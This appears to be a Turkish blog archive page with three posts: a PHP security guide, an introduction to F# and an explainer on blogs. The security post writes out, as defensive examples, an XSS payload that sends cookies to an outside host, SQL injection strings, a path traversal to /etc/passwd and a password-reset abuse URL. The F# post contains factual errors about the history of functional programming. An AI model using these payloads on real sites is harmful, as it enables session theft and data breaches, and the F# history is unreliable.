nedir? olarak etiketli yazılar
PHP için önemli güvenlik önlemleri.
17 Kas
PHP’nin güvenlik zafiyetleri olduğu, bir çok anlamda yetersiz bir dil olduğu söyleniyor. Hatta Unix camiasının istenmeyen çocuğu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Şimdi güvenlik konusuna girelim.Şu kesin; hiç sağ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir şekilde yapılabilir.
1.Register Globals
Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.
?>
http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çağrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını değiştirerek “ornek” değişkeninin değerini de adres çubuğundan kontrol edebilirsiniz. Ne büyük bir delik değil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. Eğer böyle bir global değişkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.
2.Form Değişkenlerin Kontrolü ve Cross Site Scripting
Yine yüzlerce kere değinilen bir konu, motto şu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her şeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiş bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar şartlarında incelememiz gerekir. Bir örnek vermek gerekirse şu yeter sanırım:
2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:
https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.com&id=&cb=&prefem= hacker@attacker.com&rst=1 bu şekilde kurban@hotmail.com kullanıcısının bilgileri hacker@attacker.com maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:
</form>
http://localhost/reset.php?kad=osman&email= osman@orhan.com
http://localhost/reset.php?kad=kamuran&email= osman@osman.com ile kamuran isimli kullanıcının bilgileri osman@osman.com a gönderiliyor.
Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

Owasp Top #1 XSS
XSS nedir?
“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”
Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.
İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:
http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>
yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.
SQL Injection
Örnek bir formumuz olsun:
Şimdi bu formu işleyen PHP kodumuza bakalım:
Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:
root – eğer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–” işareti yorum başlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da şu şekilde bir kod enjekte edilebilir.
kullaniciadi = ‘osman’ OR 1 =1
kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:
Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;
Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.
Session İşlemleri
SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak , bu SESSIONID ile siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:
ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.
Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.
Dosya Enjektesi ve RFI
Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.
Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.
Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.
include_once(‘tarih.php’); // tarih basıldı
include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.
Yapılan testlerde require_once nin en hızlı yöntem olduğu gözlenmiştir.
Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:
index.php?sayfa=iletisim.html
PHP kodu:
Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:
index.php?sayfa=../etc/passwd
Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.
$dir = ‘./inc/’;
require_once $dir . $sayfa ; // sadece inc içindekileri require edebilir.
PHP Tip Denetimi ve Güvenlik
PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;
$yas = $_POST['yas']
Şimdi bu “$yas” değişkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiğimiz gibi farklı şeyler gelebilir. Bunun için $yas değişkenin gerçekten beklediğimiz “tamsayı” türünden bir değişken mi yoksa farklı türden bir değişken mi gelmiş bir bakalım.
Yöntem-1
Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.
Yöntem-2
$yas = (int) $_POST['yas'];
bu yöntemle $yas değişkenini bir tamsayıya çevirdik. Eğer yaş değişkeninden “<script> … </script>” gibi bir değer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliştirmenizde çok işinize yarayacaktır.
Uzunlukları Kontrol Etmek
Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.
Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.
error_reporting(E_ALL);
ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.
www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.
chroot nedir?
22 Eki
| Az önce yine ulusalbilgi güvenliği sitemizde gezerken ilgimi çeken bir yazıya rastladım ve sizinle paylaşmak istedim buyrun hep birlikte okuyalım. | |
|
F# Çıktı..
14 Eyl
5 dakika önce yazgeliştiri gezerken farkettim ve programlama ile ilgilenlerin kesinlikle ilgisini çekecek bir yazıya rastladım ve sizinle bu makaleyi paylaşmak istedim buyrun yazfeliştir editörlerinden Turhal Temizer makalesini sizlerle baş başa bırakıyorum.
Yeni çıkmış olan bir dili anlatan makaleler genellikle programlama dilini ve dilin oluşmasını sağlayan etmenlere değinerek giriş yapar. Bizde bu makalemizde bu yolu izleyerek başlayacağız. Temel etmenlere de değinmeden önce daha önemli olan “F# nedir” ‘i ve “Fonksiyonel Programlama nedir” ‘i incelemek daha mantıklı olacaktır.
Fonksiyonel Programlama Nedir?
Fonksiyonel programlama (FP) çok eski zamanlardan, ileri düzey programlama dillerinden beri kullanılan bir yapıydı. FP ‘yi 1955 yılında IPL bulmuştur. İlk olarak ise FORTRAN dili tarafından kullanılmıştır. İkinci olarak kullanan dil COBOL olmuştur. FORTRAN ve COBOL prosedürsel bir mantıkla programlarını oluşturabilme olanağı tanıdığı için bilimden mühendisliğe kadar birçok alanda kullanılmışlardır. Bu mantık 1970 ’li yıllara kadar devam ettikten nesne tabanlı programlama çıkarılmıştır. Nesne tabanlı programlama mantığını kullanabilen programlama dilleri günümüzün en popüler dileri arasında yer almaktadırlar. Kullanmayanlar ise büyük oranda arka plana itilmişlerdir.
Mimari mantıklar bu oranda geliştirilirken fonksiyonel programlama dilleri de kararlı ve güçlü bir biçimde geliştirilmeye devam etmişlerdir. En güçlü fonksiyonel programlama dilleri: SML, OCaml, Haskell, Clean ve diğerleridir. En çok sevilen fonksiyonel programlama dilleri ise: APL ve List ‘dir. Tabii bu bahsettiğimiz dillerin yaşadığı zamanlar 1950 lerdir. Fakat akademik çevreler fonksiyonel programlama kavramını birinci öncelik olarak tutarak geliştirmeye devam etmişlerdir. Bu gelişimlerden de en çok söz getirenleri İngiltere Cambridge üniversitesinde gerçekleştiği akademik yayınlar ile bütün dünyaya duyurulmaktaydı. Çok öncelerden tamamlanmış olan bu dil global dünyanın gerçekleri ile karşılaştığında ise on yıllar önce ömrünü tamamlamış olarak görülüyordu. Fakat yurtdışındaki üniversitelerde karmaşık ve oldukça zor problemler fonksiyonel programlama ile çözülmeye devam edilmiştir. Zaten bu gelişimlerin bir yansısı olarak ta günümüzde birçok üniversitede mühendislik bilimleri fakültelerinde ders olarak okutulmakta olan MATLAB programının oluşmasına sağlamıştır. Matlab programının özelliği matematiksel, fiziksel ve mühendisteki birçok işlemi oldukça kolay fonksiyonlarla yapabilmemize olanak tanıyordu. Ayrıca kolay fonksiyonlar ile yapılabilmesinin dışında oldukçada performanslıydı. Fakat matematiksel işlemleri günümüz programlama dilleri ile yapmaya çalıştığımızda performans olarak ne Matlab ‘te ne fonksiyonel programlama da ne de bu yapıda olan programlama dilleri ile alabildiğimiz sonuçları alamıyorduk. Bugün ise, fonksiyonel programlama kavramını net olarak anlayabilmemiz durumunda en karmaşık problemleri bile çok basit yöntemlerle çözebileceğimiz belirtiliyor.
Fonksiyonel programlama, bütün programlama dillerinin derlemlerini (collection) başka fonksiyonlardan etkilenmemiş biçimde alarak bağımsız değişkenlerini geri dönüş değerleri olarak kabul eder. Nesne tabanlı programlama gerek görülmeyen problemlerin döngülerinin sonucunda oluşan yan ektilere izin vermektedir. Veri yapıları olarak kullandığımız tiplerin büyük bir çoğunluğunu, bellek yönetim kodlarımızı ve diğer birçok alıştığımız mantıkları fonksiyonel programlama ile kullanabilmemiz mümkündür.
Basit matematiksel modellerden yararlanılarak çözülebilen uygulamalar az ve öz kod yazılarak, uygulamalarımızı geliştirecek olduğumuz uygulamalarda yalnızca gerekli olan bileşenlerin referansa edilmesi ve görev çubuğunda minimum düzeyde bellek sarfiyatı yapması gibi özellikler fonksiyonel programlamanın temel yapı taşlarını oluşturmaktadır. Günümüzde fonksiyonel programlamayı kullanabileceğimiz dil F# ‘dır. F# ‘da fonksiyonel programlar yardımı ile karmaşık uygulamaları rahatlıkla geliştirebilmemiz mümkündür.
Niçin Fonksiyonel Programlama Önemlidir?
Fonksiyonel programlamayı düşünen insanlar genellikle kusurlu, hatalı, yaklaşılmaması gereken dil olarak görürlerdi. Fakat bunu düşünen insanları fonksiyonel programlananın kendilerine katacağı avantajları düşünmeden bu tür yargıları düşünüyorlar. Tartışılan bir diğer nokta ise günümüz programlama dilleri ile yaptığımız işleri fonksiyonel programlama dili yapamayacağımız yönünde şekillenmiştir. Günümüz dünyasında fonksiyonel programlamanın avantajlarını her durumda reddeden insanlara karşı tartışmalar esnasında verilmiş en iyi cevabı Chalmer teknik üniversitesinden John Hughes vermiştir. ( http://www.math.chalmers.se/~rjmh/Papers/whyfp.html )
John Hughes derki, “Fonksiyonel programcıların(FP) konuştukları orta çağ rahiplerinin konuştuklarına benzetilmemelidir. Çünkü FP ‘cılar bu dili sevdikleri için geliştirmektedirler. Rahipler ise maddi çıkar için işlerini yapmaktadırlar.”
Bir örnek ile fonksiyonel programlamayı anlatmak gerekirse, kendimizin düşünerek oluşturduğumuz fonksiyonların değerlini başka fonksiyonlara aktarabilmemize olanak tanınmaktadır. Bu özellik sizlere ilk görüşte önemsiz gelebilir, fakat değerlerin kullanılmasını olağanüstü oranda arttırmaktadır. Ayrıca veri ve fonksiyonlar arasındaki anlam farklarını da birbirinden rahatlıkla ayırabilmekteyizdir. Fonksiyonel programlama da kullanılan kısa ve basit yapıya nesne tabalı programlamalarda uymak zorundadır ve uymaktadırlar.
Ayrıca, fonksiyonları geri dönüş değerleri çokluda olabilmekte ve çağırılan fonksiyonların boşa kullanılması önlenmektedir. Bu mantığa uygun örnekleri gelecek makalelerimizde vereceğiz.
F# Nedir?
Fonksiyonel programlama çözülmesi zor olan bilgisayar problemlerini basit yöntemler ile çözmemize yarıyor fakat genel programlama teknikleri ile yapılan çözümler için yeterince iyi değildi. Bu nedenle fonksiyonel programlama nesne tabanlı programlama mimarisinin mantıki yapısını da bünyesine katarak işlemlerin daha rahat yapılabilmesine olanak tanır. Nesne tabanlı mimari yapısını bünyesine katarken de fonksiyonel programlama prensiplerinden vazgeçilmeden bu hafif geçiş yapılmıştır. Birleşimlerin sonucunda da karşımıza diğerlerinin özelliklerini taşıyan fakat kendine özgü olan bir dil ortaya çıkmıştır. Bu dilin adı ise F# ‘dır. F#, fonksiyonel programlama dilinin daha da iyileştirilmiş halidir.
Diğer popüler fonksiyonel programlama dillerinden OCaml, Haskell, Lisp ve Scheme dillerinin içerikleri, geleneksel kullanım yapıları ve gereklilikleri F# dilinin içerisine çalışma prensibine zarar vermeyecek şekilde eklenmiştir. Ayrıca F# .NET dilinin gücünü de diğer dillerle birlikte bünyesine katmıştır. F#, yaratıcıları tarafından araştırmalar sonrasında kriterlere uygun ve düzgün görülen üç dilin birleştirilmesi sonucunda oluşmuştur. F# ile problemlerin üzerinden çalışılması ve çözüm yollarını ararken uğraştığımız metotların azalması avantajları arasında yer almıştır. F#, karmaşık fonksiyonların çözüm yöntemlerine getirdiği yaklaşımların çabukluğu açısından fonksiyonel programlamaya benzemesi ile birlikte günümüzün en iyi mimarisi olarak kabul edilen nesne tabanlı programlama tekniğini de problem çözümlerinde kullanabilmesi iyi kabul edilebilecek yaklaşımlarıdır. Üç farklı dilin birleşiminden oluştuğundan bahsetmiştik. F# oluşurken yararlandığı ilk yapı .net olmuştur. .NET ‘in temel sınıf kütüphanelerini kullanılmıştır. Kullanılan .net kütüphaneleri Base Class Libary(BCL) ‘dir. .NET bünyesinde bulunup da temel olarak kullanılan dillerde C# ve VB ’dir.
F# ‘ın nesnesel modelleri oluşturulurken ise OCaml ’i nesnesel programlama mimarisine aykırı olmayacak biçimde kullanılmaya çalışılmıştır. Tekniksel felsefisi ise .NET ‘ten alınmıştır. Derleme işlemleri için kullanılan mimaride Common Language Infrastructure (CLI) ‘dır. .NET ‘in genel yapı tipleri de F# ‘ın bünyesinde kullanılmaya devam edilmiştir.
F# ‘ı geliştiren kişi, England Cambridge üniversitesinden Dr. Don Syme ‘dir. Ayrıca Dr. Syme Microsoft Research Lab(MSL) ‘da da akademik programlama dilleri üzerine çalışma yapmaktadır. Fonksiyonel programlama dilinin .Net mimarisi ve Visual Studio IDE ‘si ile de uyumlu çalışması için oldukça fazla çalışması olmuştur.
F# ‘ı kimler kullanmalıdır sorusuna gelirsek, MSL çalışanlarının C# ile F# arasında yaptıkları testlerin sonuçlarına göre eğer finansal veriler, matematiksel işlemler ve matematik fonksiyonları ile yapacağımız işlemler var ise F# ‘ın performansının C# ‘a göre daha iyi olduğunu söylemektedirler. Ayrıca oldukça büyük verilerle veya Matlab de olduğu gibi matrisler ile matematiksel işlemleri yapmak istiyorsak yine C# yerine F# ile çalışmamız öneriliyor. Çünkü fonksiyonel programlama dilinin mimari yapısından ötürü F# ile yapacağımız karmaşık işlemlerin çözüm süresi oldukça kısalacaktır. Ayrıca .NET 4.0 gelişimlerinde matematik fonksiyonlarının daha ayrıntılı bir biçimde çözümlenebilmesi içinde Linear Algebra sınıflarının geliştirildiği bilinmektedir. Bu gelişimler esnasında yararlanılan yöntem yine fonksiyonel programlama teknikleridir.
Turhal Temizer
Blog Nedir?
3 Tem

Hakkında sayfalarca yazı yazılan, tartışılan webloglar çağımızın
uğraşısı konumunda. Yine de Türkiye’de internet kullanıcısı olan bir
çok insanın blog hakkında hiç bir fikri olmadığı bildirgeç’te yapılan bir anket sonucunda ortaya çıktı. O halde bir bakalım, neymiş şu blog denen meret.
Blog kelimesinin özünde web-log vardır. Webloglara kısaca internette seyir
defteri tutmak denebilir. Kelime anlamı olaraksa, genellikle ters
kronolojik sırada (en yeni en üstte olacak şekilde) sıralandırılmış,
tek bir sayfa üzerinde bir çok yazı gösterme esasına dayanan internet
uygulamasıdır. ilerleyen senelerde “we” düşmüş, sadece “blog” olarak kullanılmaya başlanmıştır. Blog yazan kişilere de “blogger” denilmektedir. Bir yazı yazıp gönderme işlemine de kısaca “bloglama”
deniyor. 1997 yılından beri var olan bu uygulama, tasarımcı ve
programcıların ilginç internet sitelerinin linklerini unutmamak için
kendi sayfalarına yazmalarıyla başladı. 1999 yılında ortaya çıkan pek
çok blog-yayınlama (blog publishing) aracıyla birlikte bloglama,
programcılar arasındaki bir aktivite olmaktan çıkıp, en az bilgisayar
kullanma becerisine sahip olan bir insanın bile anlayacağı kadar basit
hale indirgendi. Daha önce bir yazıda blogların ne kadar çoğaldığını anlatmıştım.
Technorati’nin 7,8 milyon blogu indekslediği, günde 30.000 – 40.000
blogun yaratıldığı düşünülürse, bloglar bu yüzyıla damgasını vuracak
bir olay olmaya doğru gidiyor. Çünkü format çok basit; sıklıkla güncellenen, tek sayfa üstünde ters kronolojik yazılar.
Hangi
konuda yazarlarsa yazsınlar, pek çok insan için bloglar kişisel
dışavurum aracı haline geldi. Herhangi bir editoryal düzenleme
görmeden, insanların içinden geldiği gibi, kendi düşüncelerini özgürce
anlattıkları ortamlar oldu. Şu sıralar bloggerların da birer medya
üyesi olduğu, her blogun kendi başına bir yayın aracı vazifesi gördüğü görüşü ortalıkta geziyor. Politika, günlük hayat, spor, teknoloji, müzik, yemek hatta dantel, hamburger gibi her konuda pek çok bloga rastlamak olası. Hatta bir çok büyük şirket CEO’sunun ya da şirketlerin kendi blogları olmaya başladı.
Insanları
bir site tasarlamaktansa blog açmaya yönelten nedir peki? Bir site
açmak için en başta domain ve host gibi teknik konulara para ödemek
gerekiyor. Iş siteyi açmakla da bitmiyor, yazılarınızı yayınlayabilmek
için temel bir program yazmanız, sitenize gelen insanların
yazdıklarınız hakkında görüş bildirebilmesi için ayrı bir yorum sistemi
kurmanız, görüntüsü içinse tasarım yapmanız gerekiyor. Blog sitelerinin
güzelliği, sizi bu dertlerden kurtarmaları. Bir çok blog servisi hosting konusunda para talep etmeden,
seçtiğiniz bir isimle sizi kendi alan adları altında host ediyor
[http://xxx.blogspot.com, http://xxx.livejournal.com]. Kurmuş oldukları
otomatik yazı gönderme sistemleri sayesinde sizi programla, daha
önceden hazırlamış oldukları şablonlarla
da tasarım derdinden kurtarıyor. Bu şablonlar (hazır tasarımlar)
istediğiniz zaman bir başkasıyla değiştirebileceğiniz şekilde
hazırlanmış oluyor. Hatta üzerlerinde kendiniz oynayıp basit değişiklikler
yapabilirsiniz. Eğer canınız tamamen kendi yaptığınız bir dizaynı
kullanmak istersen, buna izin veren blog siteleri de mevcut. Birçok
blog sitesinde hazır olarak gelen yorum sistemleri sayesinde de
yazdıklarınız hakkında diğer insanların görüşlerini kolayca öğrenip,
geribildirim alabiliyorsunuz. Yazılarınıza kimlerin link verdiğini
gösteren trackback sistemleri bile var.
Insanlar blog
sitelerinde genellikle tek başlarına yazsalar da, bir kaç insanın
toplanıp beraberce yazdığı siteler de mevcut. Daha çok birbirini
tanıyan ya da ortak bir özellikleri olan (yemek, şehir hikayeleri
blogları gibi) insanların, ortak paydada toplanması olarak görebiliriz
bunu. Bu tür bloglara community blog deniyor.
Community blogları sayesinde insanlar internette sosyalleşme olanağı
buluyor, kendilerini bir yere ait hissediyorlar. Yorum fasilitesi
sayesinde aynı şeylerle ilgilenen insanlar tanışma ve tartışma olanağı
da buluyor. Türkiye’de bloglarla ilgilenen insanları bir araya toplamak
için kurulmuş bir de site bulunuyor, ve büyük bir hızla yoluna devam ediyor.
Uzun zamandan beri bu işle uğraşan ve blog dünyasında tanınan isimler bloglarından kitap çıkartmayı düşünür hale geldiler. Gazetelerde köşe yazarı olan kişilerin
dahi insanlara daha hızlı ve çok ulaşabilmek adına blog siteleri var.
internetteki hızlı link dolaşımı sayesinde daha önce hiç görmediğiniz
insanların hayatları ve görüşleri hakkında bilgi sahibi olabiliyor,
birçok konuya farklı açıdan bakan yorumlara erişebiliyorsunuz. Aynı
şekilde kendi sesinizi de dünyaya duyurmuş ve bunu bir e-mail atma
basitliğinde gerçekleştirmiş oluyorsunuz.
Türkiye’de
bloglama genellikle online günlük tutma olarak görülse de, blog özünde
kendiniz için tuttuğunuz notlar ve diğer insanların okumasını
istediğiniz yazılardır. Bunlar insandan insana değişebilir; hayat,
spor, çiçekçilik, biyoloji veya nanoteknoloji, seçim size kalmış.


